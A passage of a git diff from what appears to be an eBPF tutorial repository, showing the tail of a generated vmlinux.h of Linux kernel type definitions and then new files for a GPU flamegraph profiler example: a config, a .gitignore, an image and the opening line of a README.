LWT_BPF_IN = 1, + LWT_BPF_OUT = 2, + LWT_BPF_XMIT = 3, + LWT_BPF_XMIT_HEADROOM = 4, + __LWT_BPF_MAX = 5, +}; + +struct bpf_lwt { + struct bpf_lwt_prog in; + struct bpf_lwt_prog out; + struct bpf_lwt_prog xmit; + int family; +}; + +enum netlink_attribute_type { + NL_ATTR_TYPE_INVALID = 0, + NL_ATTR_TYPE_FLAG = 1, + NL_ATTR_TYPE_U8 = 2, + NL_ATTR_TYPE_U16 = 3, + NL_ATTR_TYPE_U32 = 4, + NL_ATTR_TYPE_U64 = 5, + NL_ATTR_TYPE_S8 = 6, + NL_ATTR_TYPE_S16 = 7, + NL_ATTR_TYPE_S32 = 8, + NL_ATTR_TYPE_S64 = 9, + NL_ATTR_TYPE_BINARY = 10, + NL_ATTR_TYPE_STRING = 11, + NL_ATTR_TYPE_NUL_STRING = 12, + NL_ATTR_TYPE_NESTED = 13, + NL_ATTR_TYPE_NESTED_ARRAY = 14, + NL_ATTR_TYPE_BITFIELD32 = 15, +}; + +enum netlink_policy_type_attr { + NL_POLICY_TYPE_ATTR_UNSPEC = 0, + NL_POLICY_TYPE_ATTR_TYPE = 1, + NL_POLICY_TYPE_ATTR_MIN_VALUE_S = 2, + NL_POLICY_TYPE_ATTR_MAX_VALUE_S = 3, + NL_POLICY_TYPE_ATTR_MIN_VALUE_U = 4, + NL_POLICY_TYPE_ATTR_MAX_VALUE_U = 5, + NL_POLICY_TYPE_ATTR_MIN_LENGTH = 6, + NL_POLICY_TYPE_ATTR_MAX_LENGTH = 7, + NL_POLICY_TYPE_ATTR_POLICY_IDX = 8, + NL_POLICY_TYPE_ATTR_POLICY_MAXTYPE = 9, + NL_POLICY_TYPE_ATTR_BITFIELD32_MASK = 10, + NL_POLICY_TYPE_ATTR_PAD = 11, + NL_POLICY_TYPE_ATTR_MASK = 12, + __NL_POLICY_TYPE_ATTR_MAX = 13, + NL_POLICY_TYPE_ATTR_MAX = 12, +}; + +struct netlink_policy_dump_state { + unsigned int policy_idx; + unsigned int attr_idx; + unsigned int n_alloc; + struct { + const struct nla_policy *policy; + unsigned int maxtype; + } policies[0]; +}; + +enum { + ETHTOOL_A_STRING_UNSPEC = 0, + ETHTOOL_A_STRING_INDEX = 1, + ETHTOOL_A_STRING_VALUE = 2, + __ETHTOOL_A_STRING_CNT = 3, + ETHTOOL_A_STRING_MAX = 2, +}; + +enum { + ETHTOOL_A_STRINGS_UNSPEC = 0, + ETHTOOL_A_STRINGS_STRING = 1, + __ETHTOOL_A_STRINGS_CNT = 2, + ETHTOOL_A_STRINGS_MAX = 1, +}; + +enum { + ETHTOOL_A_STRINGSET_UNSPEC = 0, + ETHTOOL_A_STRINGSET_ID = 1, + ETHTOOL_A_STRINGSET_COUNT = 2, + ETHTOOL_A_STRINGSET_STRINGS = 3, + __ETHTOOL_A_STRINGSET_CNT = 4, + ETHTOOL_A_STRINGSET_MAX = 3, +}; + +enum { + ETHTOOL_A_STRINGSETS_UNSPEC = 0, + ETHTOOL_A_STRINGSETS_STRINGSET = 1, + __ETHTOOL_A_STRINGSETS_CNT = 2, + ETHTOOL_A_STRINGSETS_MAX = 1, +}; + +struct strset_info { + bool per_dev; + bool free_strings; + unsigned int count; + const char (*strings)[32]; +}; + +struct strset_req_info { + struct ethnl_req_info base; + u32 req_ids; + bool counts_only; +}; + +struct strset_reply_data { + struct ethnl_reply_data base; + struct strset_info sets[21]; +}; + +struct module_reply_data { + struct ethnl_reply_data base; + struct ethtool_module_power_mode_params power; +}; + +struct igmpv3_grec { + __u8 grec_type; + __u8 grec_auxwords; + __be16 grec_nsrcs; + __be32 grec_mca; + __be32 grec_src[0]; +}; + +struct igmpv3_report { + __u8 type; + __u8 resv1; + __sum16 csum; + __be16 resv2; + __be16 ngrec; + struct igmpv3_grec grec[0]; +}; + +struct igmpv3_query { + __u8 type; + __u8 code; + __sum16 csum; + __be32 group; + __u8 qrv: 3; + __u8 suppress: 1; + __u8 resv: 4; + __u8 qqic; + __be16 nsrcs; + __be32 srcs[0]; +}; + +struct igmp_mc_iter_state { + struct seq_net_private p; + struct net_device *dev; + struct in_device *in_dev; +}; + +struct igmp_mcf_iter_state { + struct seq_net_private p; + struct net_device *dev; + struct in_device *idev; + struct ip_mc_list *im; +}; + +struct unix_stream_read_state { + int (*recv_actor)(struct sk_buff *, int, int, struct unix_stream_read_state *); + struct socket *socket; + struct msghdr *msg; + struct pipe_inode_info *pipe; + size_t size; + int flags; + unsigned int splice_flags; +}; + +struct bpf_unix_iter_state { + struct seq_net_private p; + unsigned int cur_sk; + unsigned int end_sk; + unsigned int max_sk; + struct sock **batch; + bool st_bucket_done; +}; + +struct bpf_iter__unix { + union { + struct bpf_iter_meta *meta; + }; + union { + struct unix_sock *unix_sk; + }; + uid_t uid; +}; + +struct virtio_9p_config { + __virtio16 tag_len; + __u8 tag[0]; +}; + +struct virtio_chan { + bool inuse; + spinlock_t lock; + struct p9_client *client; + struct virtio_device *vdev; + struct virtqueue *vq; + int ring_bufs_avail; + wait_queue_head_t *vc_wq; + long unsigned int p9_max_pages; + struct scatterlist sg[128]; + char *tag; + struct list_head chan_list; +}; + +struct pcibios_fwaddrmap { + struct list_head list; + struct pci_dev *dev; + resource_size_t fw_addr[17]; +}; + +struct pci_check_idx_range { + int start; + int end; +}; + +enum pt_capabilities { + PT_CAP_max_subleaf = 0, + PT_CAP_cr3_filtering = 1, + PT_CAP_psb_cyc = 2, + PT_CAP_ip_filtering = 3, + PT_CAP_mtc = 4, + PT_CAP_ptwrite = 5, + PT_CAP_power_event_trace = 6, + PT_CAP_event_trace = 7, + PT_CAP_tnt_disable = 8, + PT_CAP_topa_output = 9, + PT_CAP_topa_multiple_entries = 10, + PT_CAP_single_range_output = 11, + PT_CAP_output_subsys = 12, + PT_CAP_payloads_lip = 13, + PT_CAP_num_address_ranges = 14, + PT_CAP_mtc_periods = 15, + PT_CAP_cycle_thresholds = 16, + PT_CAP_psb_periods = 17, +}; + +struct topa_entry { + u64 end: 1; + u64 rsvd0: 1; + u64 intr: 1; + u64 rsvd1: 1; + u64 stop: 1; + u64 rsvd2: 1; + u64 size: 4; + u64 rsvd3: 2; + u64 base: 36; + u64 rsvd4: 16; +}; + +struct pt_pmu { + struct pmu pmu; + u32 caps[8]; + bool vmx; + bool branch_en_always_on; + long unsigned int max_nonturbo_ratio; + unsigned int tsc_art_num; + unsigned int tsc_art_den; +}; + +struct topa; + +struct pt_buffer { + struct list_head tables; + struct topa *first; + struct topa *last; + struct topa *cur; + unsigned int cur_idx; + size_t output_off; + long unsigned int nr_pages; + local_t data_size; + local64_t head; + bool snapshot; + bool single; + long int stop_pos; + long int intr_pos; + struct topa_entry *stop_te; + struct topa_entry *intr_te; + void **data_pages; +}; + +struct topa { + struct list_head list; + u64 offset; + size_t size; + int last; + unsigned int z_count; +}; + +struct pt_filter { + long unsigned int msr_a; + long unsigned int msr_b; + long unsigned int config; +}; + +struct pt_filters { + struct pt_filter filter[4]; + unsigned int nr_filters; +}; + +struct pt { + struct perf_output_handle handle; + struct pt_filters filters; + int handle_nmi; + int vmx_on; + u64 output_base; + u64 output_mask; +}; + +struct pt_cap_desc { + const char *name; + u32 leaf; + u8 reg; + u32 mask; +}; + +struct pt_address_range { + long unsigned int msr_a; + long unsigned int msr_b; + unsigned int reg_off; +}; + +struct topa_page { + struct topa_entry table[507]; + struct topa topa; +}; + +struct cstate_model { + long unsigned int core_events; + long unsigned int pkg_events; + long unsigned int quirks; +}; + +enum perf_cstate_core_events { + PERF_CSTATE_CORE_C1_RES = 0, + PERF_CSTATE_CORE_C3_RES = 1, + PERF_CSTATE_CORE_C6_RES = 2, + PERF_CSTATE_CORE_C7_RES = 3, + PERF_CSTATE_CORE_EVENT_MAX = 4, +}; + +enum perf_cstate_pkg_events { + PERF_CSTATE_PKG_C2_RES = 0, + PERF_CSTATE_PKG_C3_RES = 1, + PERF_CSTATE_PKG_C6_RES = 2, + PERF_CSTATE_PKG_C7_RES = 3, + PERF_CSTATE_PKG_C8_RES = 4, + PERF_CSTATE_PKG_C9_RES = 5, + PERF_CSTATE_PKG_C10_RES = 6, + PERF_CSTATE_PKG_EVENT_MAX = 7, +}; + +struct cpuid_dep { + unsigned int feature; + unsigned int depends; +}; + +enum { + PAT_UC = 0, + PAT_WC = 1, + PAT_WT = 4, + PAT_WP = 5, + PAT_WB = 6, + PAT_UC_MINUS = 7, +}; + +struct pagerange_state { + long unsigned int cur_pfn; + int ram; + int not_ram; +}; + +enum fail_dup_mod_reason { + FAIL_DUP_MOD_BECOMING = 0, + FAIL_DUP_MOD_LOAD = 1, +}; + +struct trace_event_raw_module_load { + struct trace_entry ent; + unsigned int taints; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_module_free { + struct trace_entry ent; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_module_refcnt { + struct trace_entry ent; + long unsigned int ip; + int refcnt; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_module_request { + struct trace_entry ent; + long unsigned int ip; + bool wait; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_data_offsets_module_load { + u32 name; +}; + +struct trace_event_data_offsets_module_free { + u32 name; +}; + +struct trace_event_data_offsets_module_refcnt { + u32 name; +}; + +struct trace_event_data_offsets_module_request { + u32 name; +}; + +typedef void (*btf_trace_module_load)(void *, struct module *); + +typedef void (*btf_trace_module_free)(void *, struct module *); + +typedef void (*btf_trace_module_get)(void *, struct module *, long unsigned int); + +typedef void (*btf_trace_module_put)(void *, struct module *, long unsigned int); + +typedef void (*btf_trace_module_request)(void *, char *, bool, long unsigned int); + +struct symsearch { + const struct kernel_symbol *start; + const struct kernel_symbol *stop; + const s32 *crcs; + enum mod_license license; +}; + +struct mod_initfree { + struct llist_node node; + void *init_text; + void *init_data; + void *init_rodata; +}; + +struct ce_unbind { + struct clock_event_device *ce; + int res; +}; + +enum freezer_state_flags { + CGROUP_FREEZER_ONLINE = 1, + CGROUP_FREEZING_SELF = 2, + CGROUP_FREEZING_PARENT = 4, + CGROUP_FROZEN = 8, + CGROUP_FREEZING = 6, +}; + +struct freezer { + struct cgroup_subsys_state css; + unsigned int state; +}; + +struct ctx_switch_entry { + struct trace_entry ent; + unsigned int prev_pid; + unsigned int next_pid; + unsigned int next_cpu; + unsigned char prev_prio; + unsigned char prev_state; + unsigned char next_prio; + unsigned char next_state; +}; + +struct hwlat_entry { + struct trace_entry ent; + u64 duration; + u64 outer_duration; + u64 nmi_total_ts; + struct timespec64 timestamp; + unsigned int nmi_count; + unsigned int seqnum; + unsigned int count; +}; + +struct osnoise_entry { + struct trace_entry ent; + u64 noise; + u64 runtime; + u64 max_sample; + unsigned int hw_count; + unsigned int nmi_count; + unsigned int irq_count; + unsigned int softirq_count; + unsigned int thread_count; +}; + +struct timerlat_entry { + struct trace_entry ent; + unsigned int seqnum; + int context; + u64 timer_latency; +}; + +struct trace_mark { + long long unsigned int val; + char sym; +}; + +typedef void (*bpf_jit_fill_hole_t)(void *, unsigned int); + +struct bpf_prog_pack { + struct list_head list; + void *ptr; + long unsigned int bitmap[0]; +}; + +struct bpf_prog_dummy { + struct bpf_prog prog; +}; + +typedef u64 (*btf_bpf_user_rnd_u32)(); + +typedef u64 (*btf_bpf_get_raw_cpu_id)(); + +struct _bpf_dtab_netdev { + struct net_device *dev; +}; + +struct trace_event_raw_xdp_exception { + struct trace_entry ent; + int prog_id; + u32 act; + int ifindex; + char __data[0]; +}; + +struct trace_event_raw_xdp_bulk_tx { + struct trace_entry ent; + int ifindex; + u32 act; + int drops; + int sent; + int err; + char __data[0]; +}; + +struct trace_event_raw_xdp_redirect_template { + struct trace_entry ent; + int prog_id; + u32 act; + int ifindex; + int err; + int to_ifindex; + u32 map_id; + int map_index; + char __data[0]; +}; + +struct trace_event_raw_xdp_cpumap_kthread { + struct trace_entry ent; + int map_id; + u32 act; + int cpu; + unsigned int drops; + unsigned int processed; + int sched; + unsigned int xdp_pass; + unsigned int xdp_drop; + unsigned int xdp_redirect; + char __data[0]; +}; + +struct trace_event_raw_xdp_cpumap_enqueue { + struct trace_entry ent; + int map_id; + u32 act; + int cpu; + unsigned int drops; + unsigned int processed; + int to_cpu; + char __data[0]; +}; + +struct trace_event_raw_xdp_devmap_xmit { + struct trace_entry ent; + int from_ifindex; + u32 act; + int to_ifindex; + int drops; + int sent; + int err; + char __data[0]; +}; + +struct trace_event_raw_mem_disconnect { + struct trace_entry ent; + const struct xdp_mem_allocator *xa; + u32 mem_id; + u32 mem_type; + const void *allocator; + char __data[0]; +}; + +struct trace_event_raw_mem_connect { + struct trace_entry ent; + const struct xdp_mem_allocator *xa; + u32 mem_id; + u32 mem_type; + const void *allocator; + const struct xdp_rxq_info *rxq; + int ifindex; + char __data[0]; +}; + +struct trace_event_raw_mem_return_failed { + struct trace_entry ent; + const struct page *page; + u32 mem_id; + u32 mem_type; + char __data[0]; +}; + +struct trace_event_data_offsets_xdp_exception {}; + +struct trace_event_data_offsets_xdp_bulk_tx {}; + +struct trace_event_data_offsets_xdp_redirect_template {}; + +struct trace_event_data_offsets_xdp_cpumap_kthread {}; + +struct trace_event_data_offsets_xdp_cpumap_enqueue {}; + +struct trace_event_data_offsets_xdp_devmap_xmit {}; + +struct trace_event_data_offsets_mem_disconnect {}; + +struct trace_event_data_offsets_mem_connect {}; + +struct trace_event_data_offsets_mem_return_failed {}; + +typedef void (*btf_trace_xdp_exception)(void *, const struct net_device *, const struct bpf_prog *, u32); + +typedef void (*btf_trace_xdp_bulk_tx)(void *, const struct net_device *, int, int, int); + +typedef void (*btf_trace_xdp_redirect)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); + +typedef void (*btf_trace_xdp_redirect_err)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); + +typedef void (*btf_trace_xdp_redirect_map)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); + +typedef void (*btf_trace_xdp_redirect_map_err)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); + +typedef void (*btf_trace_xdp_cpumap_kthread)(void *, int, unsigned int, unsigned int, int, struct xdp_cpumap_stats *); + +typedef void (*btf_trace_xdp_cpumap_enqueue)(void *, int, unsigned int, unsigned int, int); + +typedef void (*btf_trace_xdp_devmap_xmit)(void *, const struct net_device *, const struct net_device *, int, int, int); + +typedef void (*btf_trace_mem_disconnect)(void *, const struct xdp_mem_allocator *); + +typedef void (*btf_trace_mem_connect)(void *, const struct xdp_mem_allocator *, const struct xdp_rxq_info *); + +typedef void (*btf_trace_mem_return_failed)(void *, const struct xdp_mem_info *, const struct page *); + +struct trace_event_raw_tlb_flush { + struct trace_entry ent; + int reason; + long unsigned int pages; + char __data[0]; +}; + +struct trace_event_data_offsets_tlb_flush {}; + +typedef void (*btf_trace_tlb_flush)(void *, int, long unsigned int); + +struct trace_event_raw_mm_migrate_pages { + struct trace_entry ent; + long unsigned int succeeded; + long unsigned int failed; + long unsigned int thp_succeeded; + long unsigned int thp_failed; + long unsigned int thp_split; + enum migrate_mode mode; + int reason; + char __data[0]; +}; + +struct trace_event_raw_mm_migrate_pages_start { + struct trace_entry ent; + enum migrate_mode mode; + int reason; + char __data[0]; +}; + +struct trace_event_raw_migration_pte { + struct trace_entry ent; + long unsigned int addr; + long unsigned int pte; + int order; + char __data[0]; +}; + +struct trace_event_data_offsets_mm_migrate_pages {}; + +struct trace_event_data_offsets_mm_migrate_pages_start {}; + +struct trace_event_data_offsets_migration_pte {}; + +typedef void (*btf_trace_mm_migrate_pages)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, enum migrate_mode, int); + +typedef void (*btf_trace_mm_migrate_pages_start)(void *, enum migrate_mode, int); + +typedef void (*btf_trace_set_migration_pte)(void *, long unsigned int, long unsigned int, int); + +typedef void (*btf_trace_remove_migration_pte)(void *, long unsigned int, long unsigned int, int); + +struct folio_referenced_arg { + int mapcount; + int referenced; + long unsigned int vm_flags; + struct mem_cgroup *memcg; +}; + +struct swap_cgroup_ctrl { + struct page **map; + long unsigned int length; + spinlock_t lock; +}; + +struct swap_cgroup { + short unsigned int id; +}; + +struct file_clone_range { + __s64 src_fd; + __u64 src_offset; + __u64 src_length; + __u64 dest_offset; +}; + +struct fsxattr { + __u32 fsx_xflags; + __u32 fsx_extsize; + __u32 fsx_nextents; + __u32 fsx_projid; + __u32 fsx_cowextsize; + unsigned char fsx_pad[8]; +}; + +struct space_resv { + __s16 l_type; + __s16 l_whence; + __s64 l_start; + __s64 l_len; + __s32 l_sysid; + __u32 l_pid; + __s32 l_pad[4]; +}; + +typedef int (*ext4_fsmap_format_t)(struct ext4_fsmap *, void *); + +struct ext4_getfsmap_info { + struct ext4_fsmap_head *gfi_head; + ext4_fsmap_format_t gfi_formatter; + void *gfi_format_arg; + ext4_fsblk_t gfi_next_fsblk; + u32 gfi_dev; + ext4_group_t gfi_agno; + struct ext4_fsmap gfi_low; + struct ext4_fsmap gfi_high; + struct ext4_fsmap gfi_lastfree; + struct list_head gfi_meta_list; + bool gfi_last; +}; + +struct ext4_getfsmap_dev { + int (*gfd_fn)(struct super_block *, struct ext4_fsmap *, struct ext4_getfsmap_info *); + u32 gfd_dev; +}; + +struct nlmsg_perm { + u16 nlmsg_type; + u32 perm; +}; + +struct crypto_template; + +struct crypto_istat_compress { + atomic64_t compress_cnt; + atomic64_t compress_tlen; + atomic64_t decompress_cnt; + atomic64_t decompress_tlen; + atomic64_t err_cnt; +}; + +struct acomp_alg { + int (*compress)(struct acomp_req *); + int (*decompress)(struct acomp_req *); + void (*dst_free)(struct scatterlist *); + int (*init)(struct crypto_acomp *); + void (*exit)(struct crypto_acomp *); + unsigned int reqsize; + union { + struct { + struct crypto_alg base; + }; + struct comp_alg_common calg; + }; +}; + +struct blk_queue_stats { + struct list_head callbacks; + spinlock_t lock; + int accounting; +}; + +struct blk_stat_callback { + struct list_head list; + struct timer_list timer; + struct blk_rq_stat *cpu_stat; + int (*bucket_fn)(const struct request *); + unsigned int buckets; + struct blk_rq_stat *stat; + void (*timer_fn)(struct blk_stat_callback *); + void *data; + struct callback_head rcu; +}; + +enum { + IO_SQ_THREAD_SHOULD_STOP = 0, + IO_SQ_THREAD_SHOULD_PARK = 1, +}; + +union uu { + short unsigned int us; + unsigned char b[2]; +}; + +typedef enum { + set_basic = 0, + set_rle = 1, + set_compressed = 2, + set_repeat = 3, +} symbolEncodingType_e; + +typedef enum { + ZSTD_no_overlap = 0, + ZSTD_overlap_src_before_dst = 1, +} ZSTD_overlap_e; + +typedef struct { + U32 fastMode; + U32 tableLog; +} ZSTD_seqSymbol_header; + +typedef enum { + not_streaming = 0, + is_streaming = 1, +} streaming_operation; + +typedef struct { + size_t litLength; + size_t matchLength; + size_t offset; +} seq_t; + +typedef struct { + size_t state; + const ZSTD_seqSymbol *table; +} ZSTD_fseState; + +typedef struct { + BIT_DStream_t DStream; + ZSTD_fseState stateLL; + ZSTD_fseState stateOffb; + ZSTD_fseState stateML; + size_t prevOffset[3]; +} seqState_t; + +typedef enum { + ZSTD_lo_isRegularOffset = 0, + ZSTD_lo_isLongOffset = 1, +} ZSTD_longOffset_e; + +struct barrett_ctx_s; + +typedef struct barrett_ctx_s *mpi_barrett_t___2; + +struct barrett_ctx_s { + MPI m; + int m_copied; + int k; + MPI y; + MPI r1; + MPI r2; + MPI r3; +}; + +struct walk_rcec_data { + struct pci_dev *rcec; + int (*user_callback)(struct pci_dev *, void *); + void *user_data; +}; + +struct sync_merge_data { + char name[32]; + __s32 fd2; + __s32 fence; + __u32 flags; + __u32 pad; +}; + +struct sync_fence_info { + char obj_name[32]; + char driver_name[32]; + __s32 status; + __u32 flags; + __u64 timestamp_ns; +}; + +struct sync_file_info { + char name[32]; + __s32 status; + __u32 flags; + __u32 num_fences; + __u32 pad; + __u64 sync_fence_info; +}; + +enum hwmon_chip_attributes { + hwmon_chip_temp_reset_history = 0, + hwmon_chip_in_reset_history = 1, + hwmon_chip_curr_reset_history = 2, + hwmon_chip_power_reset_history = 3, + hwmon_chip_register_tz = 4, + hwmon_chip_update_interval = 5, + hwmon_chip_alarms = 6, + hwmon_chip_samples = 7, + hwmon_chip_curr_samples = 8, + hwmon_chip_in_samples = 9, + hwmon_chip_power_samples = 10, + hwmon_chip_temp_samples = 11, +}; + +enum hwmon_power_attributes { + hwmon_power_enable = 0, + hwmon_power_average = 1, + hwmon_power_average_interval = 2, + hwmon_power_average_interval_max = 3, + hwmon_power_average_interval_min = 4, + hwmon_power_average_highest = 5, + hwmon_power_average_lowest = 6, + hwmon_power_average_max = 7, + hwmon_power_average_min = 8, + hwmon_power_input = 9, + hwmon_power_input_highest = 10, + hwmon_power_input_lowest = 11, + hwmon_power_reset_history = 12, + hwmon_power_accuracy = 13, + hwmon_power_cap = 14, + hwmon_power_cap_hyst = 15, + hwmon_power_cap_max = 16, + hwmon_power_cap_min = 17, + hwmon_power_min = 18, + hwmon_power_max = 19, + hwmon_power_crit = 20, + hwmon_power_lcrit = 21, + hwmon_power_label = 22, + hwmon_power_alarm = 23, + hwmon_power_cap_alarm = 24, + hwmon_power_min_alarm = 25, + hwmon_power_max_alarm = 26, + hwmon_power_lcrit_alarm = 27, + hwmon_power_crit_alarm = 28, + hwmon_power_rated_min = 29, + hwmon_power_rated_max = 30, +}; + +enum hwmon_energy_attributes { + hwmon_energy_enable = 0, + hwmon_energy_input = 1, + hwmon_energy_label = 2, +}; + +enum hwmon_humidity_attributes { + hwmon_humidity_enable = 0, + hwmon_humidity_input = 1, + hwmon_humidity_label = 2, + hwmon_humidity_min = 3, + hwmon_humidity_min_hyst = 4, + hwmon_humidity_max = 5, + hwmon_humidity_max_hyst = 6, + hwmon_humidity_alarm = 7, + hwmon_humidity_fault = 8, + hwmon_humidity_rated_min = 9, + hwmon_humidity_rated_max = 10, +}; + +enum hwmon_fan_attributes { + hwmon_fan_enable = 0, + hwmon_fan_input = 1, + hwmon_fan_label = 2, + hwmon_fan_min = 3, + hwmon_fan_max = 4, + hwmon_fan_div = 5, + hwmon_fan_pulses = 6, + hwmon_fan_target = 7, + hwmon_fan_alarm = 8, + hwmon_fan_min_alarm = 9, + hwmon_fan_max_alarm = 10, + hwmon_fan_fault = 11, +}; + +enum hwmon_pwm_attributes { + hwmon_pwm_input = 0, + hwmon_pwm_enable = 1, + hwmon_pwm_mode = 2, + hwmon_pwm_freq = 3, + hwmon_pwm_auto_channels_temp = 4, +}; + +enum hwmon_intrusion_attributes { + hwmon_intrusion_alarm = 0, + hwmon_intrusion_beep = 1, +}; + +struct trace_event_raw_hwmon_attr_class { + struct trace_entry ent; + int index; + u32 __data_loc_attr_name; + long int val; + char __data[0]; +}; + +struct trace_event_raw_hwmon_attr_show_string { + struct trace_entry ent; + int index; + u32 __data_loc_attr_name; + u32 __data_loc_label; + char __data[0]; +}; + +struct trace_event_data_offsets_hwmon_attr_class { + u32 attr_name; +}; + +struct trace_event_data_offsets_hwmon_attr_show_string { + u32 attr_name; + u32 label; +}; + +typedef void (*btf_trace_hwmon_attr_show)(void *, int, const char *, long int); + +typedef void (*btf_trace_hwmon_attr_store)(void *, int, const char *, long int); + +typedef void (*btf_trace_hwmon_attr_show_string)(void *, int, const char *, const char *); + +struct hwmon_device { + const char *name; + const char *label; + struct device dev; + const struct hwmon_chip_info *chip; + struct list_head tzdata; + struct attribute_group group; + const struct attribute_group **groups; +}; + +struct hwmon_device_attribute { + struct device_attribute dev_attr; + const struct hwmon_ops *ops; + enum hwmon_sensor_types type; + u32 attr; + int index; + char name[32]; +}; + +enum { + CTRL_CMD_UNSPEC = 0, + CTRL_CMD_NEWFAMILY = 1, + CTRL_CMD_DELFAMILY = 2, + CTRL_CMD_GETFAMILY = 3, + CTRL_CMD_NEWOPS = 4, + CTRL_CMD_DELOPS = 5, + CTRL_CMD_GETOPS = 6, + CTRL_CMD_NEWMCAST_GRP = 7, + CTRL_CMD_DELMCAST_GRP = 8, + CTRL_CMD_GETMCAST_GRP = 9, + CTRL_CMD_GETPOLICY = 10, + __CTRL_CMD_MAX = 11, +}; + +enum { + CTRL_ATTR_UNSPEC = 0, + CTRL_ATTR_FAMILY_ID = 1, + CTRL_ATTR_FAMILY_NAME = 2, + CTRL_ATTR_VERSION = 3, + CTRL_ATTR_HDRSIZE = 4, + CTRL_ATTR_MAXATTR = 5, + CTRL_ATTR_OPS = 6, + CTRL_ATTR_MCAST_GROUPS = 7, + CTRL_ATTR_POLICY = 8, + CTRL_ATTR_OP_POLICY = 9, + CTRL_ATTR_OP = 10, + __CTRL_ATTR_MAX = 11, +}; + +enum { + CTRL_ATTR_OP_UNSPEC = 0, + CTRL_ATTR_OP_ID = 1, + CTRL_ATTR_OP_FLAGS = 2, + __CTRL_ATTR_OP_MAX = 3, +}; + +enum { + CTRL_ATTR_MCAST_GRP_UNSPEC = 0, + CTRL_ATTR_MCAST_GRP_NAME = 1, + CTRL_ATTR_MCAST_GRP_ID = 2, + __CTRL_ATTR_MCAST_GRP_MAX = 3, +}; + +enum { + CTRL_ATTR_POLICY_UNSPEC = 0, + CTRL_ATTR_POLICY_DO = 1, + CTRL_ATTR_POLICY_DUMP = 2, + __CTRL_ATTR_POLICY_DUMP_MAX = 3, + CTRL_ATTR_POLICY_DUMP_MAX = 2, +}; + +struct genl_op_iter { + const struct genl_family *family; + struct genl_split_ops doit; + struct genl_split_ops dumpit; + int cmd_idx; + int entry_idx; + u32 cmd; + u8 flags; +}; + +struct genl_start_context { + const struct genl_family *family; + struct nlmsghdr *nlh; + struct netlink_ext_ack *extack; + const struct genl_split_ops *ops; + int hdrlen; +}; + +struct netlink_policy_dump_state; + +struct ctrl_dump_policy_ctx { + struct netlink_policy_dump_state *state; + const struct genl_family *rt; + struct genl_op_iter *op_iter; + u32 op; + u16 fam_id; + u8 dump_map: 1; + u8 single_op: 1; +}; + +struct icmp_ext_hdr { + __u8 reserved1: 4; + __u8 version: 4; + __u8 reserved2; + __sum16 checksum; +}; + +struct icmp_extobj_hdr { + __be16 length; + __u8 class_num; + __u8 class_type; +}; + +struct icmp_ext_echo_ctype3_hdr { + __be16 afi; + __u8 addrlen; + __u8 reserved; +}; + +struct icmp_ext_echo_iio { + struct icmp_extobj_hdr extobj_hdr; + union { + char name[16]; + __be32 ifindex; + struct { + struct icmp_ext_echo_ctype3_hdr ctype3_hdr; + union { + __be32 ipv4_addr; + struct in6_addr ipv6_addr; + } ip_addr; + } addr; + } ident; +}; + +struct icmp_bxm { + struct sk_buff *skb; + int offset; + int data_len; + struct { + struct icmphdr icmph; + __be32 times[3]; + } data; + int head_len; + struct ip_options_data replyopts; +}; + +struct icmp_control { + enum skb_drop_reason (*handler)(struct sk_buff *); + short int error; +}; + +struct tls_rec { + struct list_head list; + int tx_ready; + int tx_flags; + struct sk_msg msg_plaintext; + struct sk_msg msg_encrypted; + struct scatterlist sg_aead_in[2]; + struct scatterlist sg_aead_out[2]; + char content_type; + struct scatterlist sg_content_type; + struct sock *sk; + char aad_space[13]; + u8 iv_data[16]; + struct aead_request aead_req; + u8 aead_req_ctx[0]; +}; + +struct tls_decrypt_arg { + union { + struct { + bool zc; + bool async; + u8 tail; + }; + struct { + bool zc; + bool async; + u8 tail; + } inargs; + }; + struct sk_buff *skb; +}; + +struct tls_decrypt_ctx { + struct sock *sk; + u8 iv[16]; + u8 aad[13]; + u8 tail; + struct scatterlist sg[0]; +}; + +enum { + SEG6_IPTUNNEL_UNSPEC = 0, + SEG6_IPTUNNEL_SRH = 1, + __SEG6_IPTUNNEL_MAX = 2, +}; + +struct seg6_iptunnel_encap { + int mode; + struct ipv6_sr_hdr srh[0]; +}; + +enum { + SEG6_IPTUN_MODE_INLINE = 0, + SEG6_IPTUN_MODE_ENCAP = 1, + SEG6_IPTUN_MODE_L2ENCAP = 2, + SEG6_IPTUN_MODE_ENCAP_RED = 3, + SEG6_IPTUN_MODE_L2ENCAP_RED = 4, +}; + +struct seg6_lwt { + struct dst_cache cache; + struct seg6_iptunnel_encap tuninfo[0]; +}; + +struct vlan_vid_info { + struct list_head list; + __be16 proto; + u16 vid; + int refcount; +}; + +enum { + st_wordstart = 0, + st_wordcmp = 1, + st_wordskip = 2, + st_bufcpy = 3, +}; + +enum { + st_wordstart___2 = 0, + st_wordcmp___2 = 1, + st_wordskip___2 = 2, +}; + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute pop +#endif + +#endif /* __VMLINUX_H__ */ diff --git a/src/third_party/wechat-qrcode.png b/src/third_party/wechat-qrcode.png new file mode 100644 index 00000000..1b441c7a Binary files /dev/null and b/src/third_party/wechat-qrcode.png differ diff --git a/src/xpu/flamegraph/.config b/src/xpu/flamegraph/.config new file mode 100644 index 00000000..627dff96 --- /dev/null +++ b/src/xpu/flamegraph/.config @@ -0,0 +1,2 @@ +level=Depth +type=GPU diff --git a/src/xpu/flamegraph/.gitignore b/src/xpu/flamegraph/.gitignore new file mode 100644 index 00000000..67cd698b --- /dev/null +++ b/src/xpu/flamegraph/.gitignore @@ -0,0 +1,12 @@ +*.o +*.so +cpu_results.txt +gpu_results.txt +gpu_results.json +__pycache__/ +*.svg +*.folded +*.txt +/*.json +test_cupti +venv/ diff --git a/src/xpu/flamegraph/README.md b/src/xpu/flamegraph/README.md new file mode 100644 index 00000000..fcf9f190 --- /dev/null +++ b/src/xpu/flamegraph/README.md @@ -0,0 +1,728 @@ +# eBPF by Example: Building a GPU Flamegraph Profiler with CUPTI + +Have you ever wondered which part of your CPU code is responsible for launching a specific GPU 